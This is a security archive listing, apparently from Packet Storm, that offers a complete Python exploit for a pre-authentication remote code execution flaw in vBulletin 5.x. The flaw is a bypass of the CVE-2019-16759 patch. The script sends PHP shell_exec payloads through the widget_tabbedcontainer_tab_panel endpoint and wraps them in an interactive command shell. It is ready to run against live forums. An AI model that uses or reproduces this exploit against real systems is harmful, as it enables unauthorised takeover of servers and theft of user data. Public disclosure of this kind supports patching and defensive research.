vBulletin 5.x Remote Code Execution

vBulletin version 5.x pre-authentication widget_tabbedcontainer_tab_panel remote code execution exploit. This exploit demonstrates that the patch for CVE-2019-16759 was not sufficient. Written in python.


MD5 | 7f634e6b6aa1449d9669ac7fe9ef4d5b

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#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer RCE exploit by @zenofex
 
import argparse
import requests
import sys
 
def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]' : 'widget_php',
                'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
                }
    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
    return r.text
 
ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
ARGS = ap.parse_args()
 
while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))

Source: packetstormsecurity.com
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